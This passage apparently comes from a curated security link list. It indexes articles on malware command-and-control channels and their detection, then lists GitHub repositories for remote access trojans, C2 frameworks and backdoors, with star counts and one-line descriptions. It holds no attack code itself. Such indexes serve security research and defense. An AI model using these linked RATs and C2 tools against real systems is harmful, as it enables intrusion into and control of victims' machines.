[How a Hacking Group Used Britney Spears’ Instagram to Operate a Command and Control Server](https://securingtomorrow.mcafee.com/business/hacking-group-used-britney-spears-instagram-operate-command-control-server/) - 2017.06 [cybersins] [Jump Air-gap, Low Level C&C](https://cybersins.com/malware-wifi-airgap/) - 2017.06 [trendmicro] [Victim Machine has joined #general: Using Third-Party APIs as C&C Infrastructure](https://blog.trendmicro.com/trendlabs-security-intelligence/using-third-party-apis-cc-infrastructure/) - 2017.05 [4hou] [新型僵尸网络Rakos：入侵设备后改造为C&C控制端，已感染数万台](http://www.4hou.com/info/news/4776.html) - 2017.05 [threatexpress] [Empire – Modifying Server C2 Indicators](http://threatexpress.com/2017/05/empire-modifying-server-c2-indicators/) - 2017.05 [m] [New Shodan Tool Can Find Malware Command and Control (C&C) Servers](https://www.peerlyst.com/posts/new-shodan-tool-can-find-malware-command-and-control-c-and-c-servers-mark-dearlove) - 2017.04 [freebuf] [利用企业邮件系统构造命令控制（C&C）和数据窃取（Exfiltration）通道的思路探讨](http://www.freebuf.com/articles/network/132962.html) - 2017.04 [cybersyndicates] [Expand Your Horizon Red Team – Modern SaaS C2](https://cybersyndicates.com/2017/04/expand-your-horizon-red-team/) - 2017.04 [blackhillsinfosec] [WEBCAST: Two Covert C2 Channels](https://www.blackhillsinfosec.com/webcast-two-covert-c2-channels/) - 2017.04 [securityartwork] [Abusing corporate webmail for C&C and exfiltration](https://www.securityartwork.es/2017/04/20/abusing-corporate-webmail-for-cc-and-exfiltration/) - 2017.04 [chokepoint] [Hunting Red Team Meterpreter C2 Infrastructure](http://www.chokepoint.net/2017/04/hunting-red-team-meterpreter-c2.html) - 2017.04 [krypt3ia] [OpISIS C2’s and Malware?](https://krypt3ia.wordpress.com/2017/04/10/opisis-c2s-and-malware/) - 2017.04 [krypt3ia] [Trump Hotels Dot Com: Malware C2 In 2014](https://krypt3ia.wordpress.com/2017/04/06/trump-hotels-dot-com-malware-c2-in-2014/) - 2017.03 [360] [ChChes – 使用Cookie头与C&C服务器通信的恶意软件](https://www.anquanke.com/post/id/85676/) - 2017.03 [malwarebytes] [CryptoBlock ransomware and its C2](https://blog.malwarebytes.com/threat-analysis/2017/03/cryptoblock-and-its-c2/) - 2017.03 [pediy] [[翻译] TP-Link C2 和 C20i 的多个漏洞](https://bbs.pediy.com/thread-216042.htm) - 2017.03 [cobbr] [ObfuscatedEmpire - Use an obfuscated, in-memory PowerShell C2 channel to evade AV signatures](https://cobbr.io/ObfuscatedEmpire.html) - 2017.02 [jpcert] [ChChes – Malware that Communicates with C&C Servers Using Cookie Headers](https://blogs.jpcert.or.jp/en/2017/02/chches-malware--93d6.html) - 2017.02 [wordfence] [WordPress Used as Command and Control Server in 2016 Election Hack](https://www.wordfence.com/blog/2017/02/russia-election-hack-worpress-used/) - 2017.02 [pierrekim] [TP-Link C2 and C20i vulnerable to command injection (authenticated root RCE), DoS, improper firewall rules](http://pierrekim.github.io/blog/2017-02-09-tplink-c2-and-c20i-vulnerable.html) - 2017.02 [arbornetworks] [UC&C: Stay Connected with Service Assurance](https://www.netscout.com/news/blog/unified-communications-service-assurance) - 2017.01 [securityartwork] [Simple domain fronting PoC with GAE C2 server](https://www.securityartwork.es/2017/01/31/simple-domain-fronting-poc-with-gae-c2-server/) - 2017.01 [HackersOnBoard] [DEF CON 24 - Malware Command and Control Channels - A journey into darkness](https://www.youtube.com/watch?v=okeXzdAlNpU) - 2016.12 [DemmSec] [PoshC2 - A fully powershell command and control server](https://www.youtube.com/watch?v=wVHvdUVFQnM) - 2016.11 [myonlinesecurity] [Locky changed to use .aesir file extension and changed C2 format](https://myonlinesecurity.co.uk/locky-changed-to-use-aesir-file-extension-and-changed-c2-format/) - 2016.11 [n0where] [osquery Command And Control: Kolide](https://n0where.net/osquery-command-and-control-kolide) - 2016.10 [securelist] [Inside the Gootkit C&C server](https://securelist.com/inside-the-gootkit-cc-server/76433/) - 2016.10 [broadanalysis] [Rig Exploit Kit via EITEST delivers Crypt2 ransomware C2 5.39.93.43](http://www.broadanalysis.com/2016/10/17/rig-exploit-kit-via-eitest-delivers-crypt2-ransomware-c2-5-39-93-43/) - 2016.10 [freebuf] [玩出C&C服务器地址隐身的新花样，看看这个恶意软件怎么做的](http://www.freebuf.com/articles/system/115809.html) - 2016.09 [freebuf] [隐秘通讯与跳板？C&C服务器究竟是怎么一回事](http://www.freebuf.com/articles/network/114122.html) - 2016.09 [laanwj] [A few notes on SECONDDATE's C&C protocol](http://laanwj.github.io/2016/09/17/seconddate-cnc.html) - 2016.09 [laanwj] [BLATSTING C&C transcript](http://laanwj.github.io/2016/09/09/blatsting-lp-transcript.html) - 2016.09 [360] [New Elknot/Billgates Variant with XOR like C2 Configuration Encryption Scheme](http://blog.netlab.360.com/new-elknot-billgates-variant-with-xor-like-c2-configuration-encryption-scheme/) - 2016.08 [contextis] [Using SMB named pipes as a C2 channel](https://www.contextis.com/blog/using-smb-named-pipes-c2-channel) - 2016.08 [endgame] [Instegogram: Leveraging Instagram for C2 via Image Steganography](https://www.endgame.com/blog/technical-blog/instegogram-leveraging-instagram-c2-image-steganography) - 2016.08 [fidelissecurity] [Vawtrak C2 – Pin it](https://www.fidelissecurity.com/threatgeek/2016/08/vawtrak-c2-%E2%80%93-pin-it) - 2016.08 [harmj0y] [Command and Control Using Active Directory](http://www.harmj0y.net/blog/powershell/command-and-control-using-active-directory/) - 2016.08 [broadanalysis] [New C2 – Neutrino Exploit Kit via pseudoDarkleech HOPTO.ORG gate delivers CrypMic Ransomware](http://www.broadanalysis.com/2016/08/08/new-c2-neutrino-exploit-kit-via-pseudodarkleech-hopto-org-gate-delivers-crypmic-ransomware/) - 2016.08 [CodeColoristX] [利用图片博客做 C&C 配置](https://blog.chichou.me/%E5%88%A9%E7%94%A8%E5%9B%BE%E7%89%87%E5%8D%9A%E5%AE%A2%E5%81%9A-c-c-%E9%85%8D%E7%BD%AE-a00081180769) - 2016.07 [broadanalysis] [Neutrino Exploit Kit via pseudoDarkleech delivers CryptXXX Ransomware – NEW C2](http://www.broadanalysis.com/2016/07/26/neutrino-exploit-kit-via-pseudodarkleech-delivers-cryptxxx-ransomware-new-c2/) - 2016.07 [cerbero] [Extracting C&C from Android Malware](http://cerbero-blog.com/?p=1633) - 2016.07 [blackhillsinfosec] [How to Build a 404 page not found C2](https://www.blackhillsinfosec.com/how-to-build-a-404-page-not-found-c2/) - 2016.07 [pentestn00b] [PoshC2 – Powershell C2](https://pentestn00b.wordpress.com/2016/07/11/poshc2-powershell-c2/) - 2016.07 [hackwhackandsmack] [PoshC2 – Powershell C2](https://www.hackwhackandsmack.com/?p=693) - 2016.05 [rtl] [Using the Airspy on an Odroid C2](https://www.rtl-sdr.com/using-the-airspy-on-an-odroid-c2/) - 2016.05 [sec] [烽火台威胁情报订阅0529：C2-feed](https://www.sec-un.org/beacon-threat-intelligence-subscription-0529c2-feed/) - 2016.05 [trustlook] [Fake Adobe Flash App Evades Most Anti Virus Detection, Manipulates Phone by Command & Control Server in Latvia](https://blog.trustlook.com/2016/05/23/fake-adobe-flash-app-evades-most-anti-virus-detection-and-manipulates-phone-by-command-control-server-in-latvia/) - 2016.04 [broadanalysis] [Angler EK sends Bedep, TelsaCrypt – NEW C2’s](http://www.broadanalysis.com/2016/04/18/angler-ek-sends-bedep-telsacrypt-new-c2s/) - 2016.04 [akamai] [Akamai's State of the Art Command and Control Center for OTT Broadcasters](https://blogs.akamai.com/2016/04/post.html) - 2016.04 [broadanalysis] [Angler Flash Exploit Infection Chain – New C&C](http://www.broadanalysis.com/2016/04/05/angler-flash-exploit-infection-chain-new-cc/) - 2016.03 [broadanalysis] [Angler EK – TeslaCrypt – NEW C2 URI Structure “binarystings.php”](http://www.broadanalysis.com/2016/03/28/angler-ek-teslacrypt-new-c2-uri-structure-binarystings-php/) - 2016.03 [malwarenailed] [Weaponized Container exploiting MS Office Vulnerability CVE 2012-0158 - Communicating to Dridex C2 Infra](http://malwarenailed.blogspot.com/2016/03/weaponized-container-exploiting-ms.html) - 2016.03 [broadanalysis] [Angler EK sends TeslaCrypt – New C2 – New Ransom note pattern](http://www.broadanalysis.com/2016/03/18/angler-ek-sends-teslacrypt-new-c2-new-ransom-note-pattern/) - 2016.03 [dafthack] [Beyond the Pentest: How C2, Internal Pivoting, and Data Exfiltration Show True Risk](https://www.slideshare.net/dafthack/beyond-the-pentest-how-c2-internal-pivoting-and-data-exfiltration-show-true-risk-59678824) - 2016.03 [robert] [Block Ransomware botnet C&C traffic with a Mikrotik router](https://robert.penz.name/1262/block-ransomware-botnet-cc-traffic-with-a-mikrotik-router/) - 2016.02 [arbornetworks] [Embracing Modern UC&C: A Holistic Approach](https://www.netscout.com/news/blog/embracing-modern-ucc-holistic-approach) - 2015.12 [blackhillsinfosec] [Can we C2? Yes we can!](https://www.blackhillsinfosec.com/can-we-c2-yes-we-can/) - 2015.11 [breakpoint] [Detecting and Understanding Emdivi HTTP C2](https://breakpoint-labs.com/blog/detecting-and-understanding-emdivi-http-c2/) - 2015.11 [alienvault] [Command and Control Server Detection: Methods & Best Practices](https://www.alienvault.com/blogs/security-essentials/command-and-control-server-detection-methods-best-practices) - 2015.11 [f] [Paper: C&C-As-A-Service](https://labsblog.f-secure.com/2015/11/17/paper-cc-as-a-service/) - 2015.11 [] [与黑产的博弈-C&C控制服务的设计和侦测方法综述](http://www.91ri.org/14517.html) - 2015.11 [checkpoint] [Offline Ransomware Encrypts Your Data without C&C Comms](https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/) - 2015.11 [angelalonso] [Reversing the SMS C&C protocol of Emmental - 2nd part](http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental_3.html) - 2015.11 [angelalonso] [Reversing the SMS C&C protocol of Emmental (1st part - understanding the code)](http://blog.angelalonso.es/2015/11/reversing-sms-c-protocol-of-emmental.html) - 2015.11 [vanimpe] [Hunting for Dridex C2 info](https://www.vanimpe.eu/2015/11/01/hunting-dridex-c2-info/) - 2015.10 [portcullis] [Locating SAT based C&Cs](https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/) - 2015.09 [trendmicro] [How Command and Control Servers Remain Resilient](https://blog.trendmicro.com/trendlabs-security-intelligence/adapting-to-change-how-command-and-control-servers-remain-hidden-and-resilient/) - 2015.09 [securelist] [Satellite Turla: APT Command and Control in the Sky](https://securelist.com/satellite-turla-apt-command-and-control-in-the-sky/72081/) - 2015.09 [samvartaka] [Crypto-trouble in Poison Ivy's C2 protocol](http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation) - 2015.09 [trendmicro] [Attackers Target Organizations in Japan; Transform Local Sites into C&C Servers for EMDIVI Backdoor](https://blog.trendmicro.com/trendlabs-security-intelligence/attackers-target-organizations-in-japan-transform-local-sites-into-cc-servers-for-emdivi-backdoor/) - 2015.07 [trendmicro] [Pawn Storm C&C Redirects to Trend Micro IP Address](https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-cc-redirects-to-trend-micro-ip-address/) - 2015.06 [virusbulletin] [Vawtrak uses Tor2Web to connect to Tor hidden C&C servers](https://www.virusbulletin.com/blog/2015/06/vawtrak-uses-tor2web-connect-tor-hidden-c-amp-c-servers/) - 2015.05 [sans] [Possible Wordpress Botnet C&C: errorcontent.com](https://isc.sans.edu/forums/diary/Possible+Wordpress+Botnet+CC+errorcontentcom/19733/) - 2015.05 [trendmicro] [Joke or Blunder: Carbanak C&C Leads to Russia Federal Security Service](https://blog.trendmicro.com/trendlabs-security-intelligence/joke-or-blunder-carbanak-cc-leads-to-russia-federal-security-service/) - 2015.05 [trendmicro] [Steganography and Malware: Concealing Code and C&C Traffic](https://blog.trendmicro.com/trendlabs-security-intelligence/steganography-and-malware-concealing-code-and-cc-traffic/) - 2015.03 [secureallthethings] [Yet Another Reason for HTTPS Everywhere: Internet Node Based Malware Command and Control Channels](http://secureallthethings.blogspot.com/2015/03/yet-another-reason-for-https-everywhere.html) - 2015.03 [trendmicro] [Investigating and Detecting Command and Control Servers](https://blog.trendmicro.com/trendlabs-security-intelligence/investigating-and-detecting-command-and-control-servers/) - 2015.02 [zeltser] [When Bots Use Social Media for Command and Control](https://zeltser.com/bots-command-and-control-via-social-media/) - 2014.12 [malwaretech] [Phase Bot – Exploiting C&C Panel](https://www.malwaretech.com/2014/12/phase-bot-exploiting-c-pane.html) - 2014.12 [trendmicro] [Banking Trojan Targets South Korean Banks; Uses Pinterest as C&C Channel](https://blog.trendmicro.com/trendlabs-security-intelligence/malware-campaign-targets-south-korean-banks-uses-pinterest-as-cc-channel/) - 2014.11 [weebly] [malware uses multiple web servers to have a periodic http C&C connection while its netflows are not periodic](http://mcfp.weebly.com/analysis/botnet-uses-multiple-web-servers-to-have-a-periodic-http-cc-connection-while-its-netflows-are-not-periodic) - 2014.09 [trendmicro] [Shellshock Updates: BASHLITE C&Cs Seen, Shellshock Exploit Attempts in Brazil](https://blog.trendmicro.com/trendlabs-security-intelligence/shellshock-updates-bashlite-ccs-seen-shellshock-exploit-attempts-in-brazil/) - 2014.08 [crysys] [The Epic Turla Operation: Information on Command and Control Server infrastructure](http://blog.crysys.hu/2014/08/the-epic-turla-operation-information-on-command-and-control-server-infrastructure/) - 2014.08 [weebly] [Malware started to randomize the request times in relation with their C&C channels](http://mcfp.weebly.com/analysis/malware-started-randomizing-the-request-times-of-their-cc-channels) - 2014.08 [arxiv] [[1408.1136] Command & Control: Understanding, Denying and Detecting - A review of malware C2 techniques, detection and defences](https://arxiv.org/abs/1408.1136) - 2014.07 [harmj0y] [A Brave New World: Malleable C2](http://www.harmj0y.net/blog/redteaming/a-brave-new-world-malleable-c2/) - 2014.07 [zairon] [Android Koler trojan: C&C part](https://zairon.wordpress.com/2014/07/01/android-koler-trojan-cc-part/) - 2014.04 [macnica] [Network Indicators of C2 / C2の兆候を発見するためのCheat Sheet](http://blog.macnica.net/blog/2014/04/network-indicat-c556.html) - 2014.03 [sans] [The Importance of Command and Control Analysis for Incident Response](https://digital-forensics.sans.org/blog/2014/03/31/the-importance-of-command-and-control-analysis-for-incident-response) - 2014.03 [webroot] [A peek inside a modular, Tor C&C enabled, Bitcoin mining malware bot](https://www.webroot.com/blog/2014/03/20/peek-inside-modular-tor-cc-enabled-bitcoin-mining-malware-bot/) - 2014.03 [microsoft] [Sefnit’s Tor botnet C&C details](https://cloudblogs.microsoft.com/microsoftsecure/2014/03/05/sefnits-tor-botnet-cc-details/) - 2014.03 [microsoft] [Sefnit’s Tor botnet C&C details](https://www.microsoft.com/security/blog/2014/03/05/sefnits-tor-botnet-cc-details/) - 2014.01 [enigma0x3] [Command and Control using Powershell and your favorite website](https://enigma0x3.net/2014/01/17/command-and-control-using-powershell-and-your-favorite-website/) - 2013.12 [websec] [Drive By ONT Botnet with IRC C&C](https://websec.ca/blog/view/drive-by-ONT-botnet-with-IRC-CC) - 2013.10 [publicintelligence] [U.S. Army Cyber Command and Control Facility Environmental Assessment](https://publicintelligence.net/army-cyber-command-ea/) - 2013.09 [virusbulletin] [Malware spoofing HTTP Host header to hide C&C communication](https://www.virusbulletin.com/blog/2013/09/malware-spoofing-http-host-header-hide-c-amp-c-communication/) - 2013.07 [webroot] [Cybercriminals experiment with Tor-based C&C, ring-3-rootkit empowered, SPDY form grabbing malware bot](https://www.webroot.com/blog/2013/07/02/cybercriminals-experiment-with-tor-based-cc-ring-3-rootkit-empowered-spdy-form-grabbing-malware-bot/) - 2013.06 [crowdstrike] [Rare Glimpse into a Real-Life Command-and-Control Server](https://www.crowdstrike.com/blog/rare-glimpse-real-life-command-and-control-server/) - 2013.05 [cylance] [C2 Malware Targets Battle.Net Accounts](https://www.cylance.com/en_us/blog/C2-Malware-Targets-Battle-Net-Accounts.html) - 2013.05 [dontneedcoffee] [Inside RDPxTerm (panel 5.1 - bot 4.4.2) aka Neshta C&C - Botnet control panel](https://malware.dontneedcoffee.com/2013/05/inside-rdpxterm-bot-442-panel-51-aka.html) - 2013.03 [trendmicro] [Backdoor Uses Evernote as Command-and-Control Server](https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-uses-evernote-as-command-and-control-server/) - 2013.02 [cyberarms] [Iranian Military C&C Allegedly Hacked and Launched Rockets at Tehran](https://cyberarms.wordpress.com/2013/02/08/iranian-military-cc-allegedly-hacked-and-launched-rockets-at-tehran/) - 2013.02 [dontneedcoffee] [Inside Multi-Botnet ver.4 c&c Panel](https://malware.dontneedcoffee.com/2013/02/inside-multi-botnet-ver4-c-panel.html) - 2013.01 [welivesecurity] [Walking through Win32/Jabberbot.A instant messaging C&C](https://www.welivesecurity.com/2013/01/30/walking-through-win32jabberbot-a-instant-messaging-cc/) - 2012.12 [talosintelligence] [Triggering Miniflame's C&C Communication to Create a Pcap](https://blog.talosintelligence.com/2012/12/triggering-miniflames-c-communication.html) - 2012.12 [talosintelligence] [Quarian: Reversing the C&C Protocol](https://blog.talosintelligence.com/2012/12/quarian.html) - 2012.09 [securelist] [Full Analysis of Flame’s Command & Control servers](https://securelist.com/full-analysis-of-flames-command-control-servers-27/34216/) - 2012.08 [talosintelligence] [SMSZombie: A New Twist on C&C](https://blog.talosintelligence.com/2012/08/smszombie-new-twist-on-c.html) - 2012.08 [dontneedcoffee] [Inside Upas Kit (1.0.1.1) aka Rombrast C&C - Botnet Control Panel](https://malware.dontneedcoffee.com/2012/08/inside-upas-kit1.0.1.1.html) - 2012.07 [dontneedcoffee] [Inside Citadel 1.3.4.5 C&C & Builder - Botnet Control Panel](https://malware.dontneedcoffee.com/2012/07/inside-citadel-1.3.4.5-cncNbuilder.html) - 2012.07 [virusbulletin] [Grum botnet's command-and-control servers shut down](https://www.virusbulletin.com/blog/2012/07/grum-botnet-s-command-and-control-servers-shut-down/) - 2012.07 [hackingarticles] [Hack Windows 7 PC with Poison Ivy 2.3.2 C&C Server Buffer Overflow](http://www.hackingarticles.in/hack-windows-7-pc-with-poison-ivy-2-3-2-cc-server-buffer-overflow/) - 2012.06 [dontneedcoffee] [Inside Pony 1.7 / Fareit C&C - Botnet Control Panel](https://malware.dontneedcoffee.com/2012/06/inside-pony-17.html) - 2012.06 [trendmicro] [Library File in Certain Android Apps Connects to C&C Servers](https://blog.trendmicro.com/trendlabs-security-intelligence/library-file-in-certain-android-apps-connects-to-cc-servers/) - 2012.06 [securelist] [The Roof Is on Fire: Tackling Flame’s C&C Servers](https://securelist.com/the-roof-is-on-fire-tackling-flames-cc-servers-6/33033/) - 2012.04 [publicintelligence] [(U//FOUO) U.S. Army Small Unmanned Aerial Vehicle (SUAV) Airspace Command and Control (A2C2) Handbook](https://publicintelligence.net/usarmy-suav-a2c2/) - 2012.03 [shadowserver] [Of House Cleaning and Botnet C&C’s](http://blog.shadowserver.org/2012/03/07/of-house-cleaning-and-botnet-ccs/) - 2012.02 [virusbulletin] [New Zeus/SpyEye botnet does away with command-and-control servers](https://www.virusbulletin.com/blog/2012/02/new-zeus-spyeye-botnet-does-away-command-and-control-servers/) - 2011.11 [securelist] [The Mystery of Duqu: Part Six (The Command and Control servers)](https://securelist.com/the-mystery-of-duqu-part-six-the-command-and-control-servers-36/31863/) - 2011.10 [trendmicro] [Android Malware Uses Blog Posts as C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/android-malware-uses-blog-posts-as-cc/) - 2011.09 [forcepoint] [Websense Labs Video: Speaking in Tongues: Malware C&C Encryption](https://www.forcepoint.com/blog/security-labs/websense-labs-video-speaking-tongues-malware-cc-encryption) - 2011.07 [talosintelligence] [Binary C&C Over HTTP](https://blog.talosintelligence.com/2011/07/binary-c-over-http.html) - 2011.06 [virusbulletin] [DroidKungFu command and control server may be mobile device](https://www.virusbulletin.com/blog/2011/06/droidkungfu-command-and-control-server-may-be-mobile-device/) - 2011.03 [trendmicro] [Trend Micro Sinkholes and Eliminates a ZeuS Botnet C&C](https://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-sinkholes-and-eliminates-a-zeus-botnet-cc/) - 2010.09 [publicintelligence] [(U//FOUO) Joint Battle Management Command and Control (JBMC2) Roadmap Version 1.0](https://publicintelligence.net/ufouo-joint-battle-management-command-and-control-jbmc2-roadmap-version-1-0/) - 2010.09 [publicintelligence] [(U//FOUO) Joint Battle Management Command and Control Roadmap 2003 Draft](https://publicintelligence.net/ufouo-joint-battle-management-command-and-control-roadmap-2003-draft/) - 2010.09 [trendmicro] [Uncovered SpyEye C&C Server Targets Polish Users](https://blog.trendmicro.com/trendlabs-security-intelligence/uncovered-spyeye-cc-server-targets-polish-users/) - 2010.03 [securelist] [Active Koobface C&C servers hit a record high – 200+ and counting](https://securelist.com/active-koobface-cc-servers-hit-a-record-high-200-and-counting/29530/) - 2010.03 [securelist] [Koobface C&C servers steadily dropping – new spike coming soon?](https://securelist.com/koobface-cc-servers-steadily-dropping-new-spike-coming-soon/29562/) - 2006.11 [sans] [Bot C&C Servers on Port 80](https://isc.sans.edu/forums/diary/Bot+CC+Servers+on+Port+80/1865/) - 2004.01 [daringfireball] [Command and Control](https://daringfireball.net/2004/01/command_and_control) # <a id="b318465d0d415e35fc0883e9894261d1"></a>RAT *** ## <a id="9e3a9beb5ecf36b9624525bc3cfef78a"></a>Tools ### <a id="964a3580a7a7f66571ee1d2c0f34f2d6"></a>Recent Add - [**1615**Star][9d] [Py] [zerosum0x0/koadic](https://github.com/zerosum0x0/koadic) Koadic C3 COM Command & Control - JScript RAT - [**1473**Star][3y] [Py] [nathanlopez/stitch](https://github.com/nathanlopez/stitch) a cross platform python framework which allows you to build custom payloads for Windows, Mac OSX and Linux as well - [**789**Star][4m] [Py] [kevthehermit/ratdecoders](https://github.com/kevthehermit/ratdecoders) Python Decoders for Common Remote Access Trojans - [**764**Star][7d] [C] [rdesktop/rdesktop](https://github.com/rdesktop/rdesktop) rdesktop is an open source UNIX client for connecting to Windows Remote Desktop Services, capably of natively speaking Remote Desktop Protocol (RDP) in order to present the user's Windows desktop. rdesktop is known to work with Windows server version ranging from NT 4 terminal server to Windows 2012 R2. - [**706**Star][1y] [PS] [arvanaghi/sessiongopher](https://github.com/Arvanaghi/SessionGopher) a PowerShell tool that uses WMI to extract saved session information for remote access tools such as WinSCP, PuTTY, SuperPuTTY, FileZilla, and Microsoft Remote Desktop. It can be run remotely or locally. - [**538**Star][10d] [JS] [mr-un1k0d3r/thundershell](https://github.com/mr-un1k0d3r/thundershell) a C# RAT that communicates via HTTP requests - [**392**Star][5m] [C++] [werkamsus/lilith](https://github.com/werkamsus/lilith) Lilith, The Open Source C++ Remote Administration Tool (RAT) - [**297**Star][2y] [Py] [0xislamtaha/python-rootkit](https://github.com/0xIslamTaha/Python-Rootkit) Python Remote Administration Tool (RAT) to gain meterpreter session - [**238**Star][6d] [C#] [b4rtik/redpeanut](https://github.com/b4rtik/redpeanut) RedPeanut is a small RAT developed in .Net Core 2 and its agent in .Net 3.5 / 4.0. - [**222**Star][9d] [C++] [xdnice/pcshare](https://github.com/xdnice/pcshare) PCShare是一款强大的远程控制软件，可以监视目标机器屏幕、注册表、文件系统等。 - [**214**Star][2y] [C#] [them4hd1/vayne-rat](https://github.com/them4hd1/vayne-rat) An Advanced C# .NET Rat, It’s Stable and Contains Many Features. - [**205**Star][2y] [C++] [ahxr/ghost](https://github.com/ahxr/ghost) a light RAT that gives the server/attacker full remote access to the user's command-line interprete - [**201**Star][10d] [Py] [pure-l0g1c/loki](https://github.com/pure-l0g1c/loki) Remote Access Tool/Botnet - [**195**Star][3m] [PHP] [0blio/caesar](https://github.com/0blio/Caesar) An HTTP based RAT (Remote Administration Tool) that allows you to remotely control devices from your browser - [**175**Star][4y] [C#] [alphadelta/secure-desktop](https://github.com/alphadelta/secure-desktop) Anti-keylogger/anti-rat application for Windows - [**172**Star][3y] [C++] [hussein-aitlahcen/blackhole](https://github.com/hussein-aitlahcen/blackhole) C# RAT (Remote Administration Tool) - [**157**Star][10d] [Visual Basic] [mwsrc/plasmarat](https://github.com/mwsrc/PlasmaRAT) Remote Access Trojan(RAT), Miner, DDoS - [**140**Star][1m] [Py] [anhkgg/pyrat](https://github.com/anhkgg/pyrat) PyRat，a rat by python xmlrpc - [**136**Star][25d] [C++] [earthquake/universaldvc](https://github.com/earthquake/universaldvc) Universal Dynamic Virtual Channel connector for Remote Desktop Services - [**129**Star][2y] [Py] [dviros/rat-via-telegram](https://github.com/dviros/rat-via-telegram) Windows Remote Post Breach Tool via Telegram - [**115**Star][4y] [C#] [leurak/trollrat](https://github.com/leurak/trollrat) a Remote Administration Tool (RAT) which follows a different approach than the other RATs - [**98**Star][4m] [JS] [securityrat/securityrat](https://github.com/securityrat/securityrat) OWASP SecurityRAT (version 1.x) - Tool for handling security requirements in development - [**95**Star][7y] [C#] [ilikenwf/darkagent](https://github.com/ilikenwf/darkagent) DarkAgent Remote Administration Tool RAT by DragonHunter - [**95**Star][2y] [Pascal] [senjaxus/allakore_remote](https://github.com/senjaxus/allakore_remote) Open Source Remote Access software written in Delphi Seattle. - [**80**Star][4y] [C++] [rwhitcroft/dnschan](https://github.com/rwhitcroft/dnschan) A remote access trojan over DNS - [**77**Star][4y] [Py] [ahhh/reverse_https_bot](https://github.com/ahhh/reverse_https_bot) A python based https remote access trojan for penetration testing - [**66**Star][11d] [Visual Basic] [thesph1nx/rt-101](https://github.com/thesph1nx/rt-101) VB.net Remote Administrator Tool (RAT) - [**65**Star][7m] [sh1n0g1/shinobot](https://github.com/sh1n0g1/shinobot) RAT / Botnet Simulator for pentest / education - [**61**Star][28d] [Visual Basic] [thesph1nx/slickermaster-rev4](https://github.com/thesph1nx/slickermaster-rev4) NSA Hacking Tool Recreation UnitedRake - [**61**Star][2m] [C#] [nyan-x-cat/mass-rat](https://github.com/nyan-x-cat/mass-rat) Basic Multiplatform Remote Administration Tool - Xamarin - [**58**Star][3y] [PS] [killswitch-gui/persistence-survivability](https://github.com/killswitch-gui/persistence-survivability) Powershell Persistence Locator - [**57**Star][3y] [Py] [m4sc3r4n0/spyrat](https://github.com/m4sc3r4n0/spyrat) Python Remote Access Trojan - [**55**Star][4y] [Py] [ahhh/ntp_trojan](https://github.com/ahhh/ntp_trojan) Reverse NTP remote access trojan in python, for penetration testers - [**53**Star][8d] [Java] [blackhacker511/blackrat](https://github.com/blackhacker511/blackrat) BlackRAT - Java Based Remote Administrator Tool - [**52**Star][12d] [Py] [technowlogy-pushpender/technowhorse](https://github.com/technowlogy-pushpender/technowhorse) TechNowHorse is a RAT (Remote Administrator Trojan) Generator for Windows/Linux systems written in Python 3. - [**50**Star][11d] [C#] [brunull/pace](https://github.com/brunull/pace) A Remote Access Tool for Windows. - [**46**Star][1m] [Pascal] [0x48piraj/malwarex](https://github.com/0x48piraj/malwarex) Collection of killers - [**46**Star][1m] [PHP] [davidtavarez/pinky](https://github.com/davidtavarez/pinky) pinky - The PHP mini RAT (Remote Administration Tool) - [**46**Star][20d] [Shell] [infosecn1nja/ycsm](https://github.com/infosecn1nja/ycsm) This is a quick script installation for resilient redirector using nginx reverse proxy and letsencrypt compatible with some popular Post-Ex Tools (Cobalt Strike, Empire, Metasploit, PoshC2). - [**46**Star][18d] [Java] [m301/rdroid](https://github.com/m301/rdroid) [Android RAT] Remotely manage your android phone using PHP Interface - [**46**Star][2y] [pentestpartners/ptp-rat](https://github.com/pentestpartners/ptp-rat) Exfiltrate data over screen interfaces - [**44**Star][2y] [Shell] [taherio/redi](https://github.com/taherio/redi) Automated script for setting up CobaltStrike redirectors (nginx reverse proxy, letsencrypt) - [**41**Star][3y] [C] [killswitch-gui/hotload-driver](https://github.com/killswitch-gui/hotload-driver) C++ - [**40**Star][5y] [C++] [lingerhk/0net](https://github.com/lingerhk/0net) 一个简单的Windows远程控制后门 - [**40**Star][3y] [Visual Basic .NET] [mwsrc/betterrat](https://github.com/mwsrc/BetterRAT) Better Remote Access Trojan - [**39**Star][1m] [Shell] [samyk/easel-driver](https://github.com/samyk/easel-driver) Easel driver for Linux (and Mac/Windows) + remote access to CNC controller - [**37**Star][11d] [PS] [5alt/zerorat](https://github.com/5alt/zerorat) ZeroRAT是一款windows上的一句话远控 - [**36**Star][5m] [C#] [blackvikingpro/aresskit](https://github.com/blackvikingpro/aresskit) Next Generation Remote Administration Tool (RAT) - [**35**Star][3y] [ritiek/rat-via-telegram](https://github.com/ritiek/rat-via-telegram) Removed according to regulations - [**29**Star][1m] [Py] [the404hacking/windows-python-rat](https://github.com/the404hacking/windows-python-rat) A New Microsoft Windows Remote Administrator Tool [RAT] with Python by Sir.4m1R. - [**26**Star][2y] [Py] [thegeekht/loki.rat](https://github.com/thegeekht/loki.rat) Loki.Rat is a fork of the Ares RAT, it integrates new modules, like recording , lockscreen , and locate options. Loki.Rat is a Python Remote Access Tool. - [**25**Star][9m] [D] [alexa-d/alexa-openwebif](https://github.com/alexa-d/alexa-openwebif) alexa skill to control your openwebif device - [**24**Star][2y] [Py] [rootm0s/casper](https://github.com/rootm0s/casper) 👻 Socket based RAT for Windows with evasion techniques and other features for control - [**22**Star][16d] [C#] [rainkin1993/remote-access-trojan-database](https://github.com/rainkin1993/remote-access-trojan-database) A database of RAT collected from Internet - [**21**Star][11d] [Py] [kaiiyer/backnet](https://github.com/kaiiyer/backnet) Backdoor+Botnet or BackNet is a Python Remote Access Tool. - [**19**Star][7d] [Py] [lithium95/controll_remote_access_trojan](https://github.com/lithium95/controll_remote_access_trojan) Created a VERY SIMPLE remote access Trojan that will establish administrative control over any windows machine it compromises. - [**18**Star][10m] [PHP] [eddiejibson/limitrr-php](https://github.com/eddiejibson/limitrr-php) Better PHP rate limiting using Redis. - [**18**Star][3y] [Py] 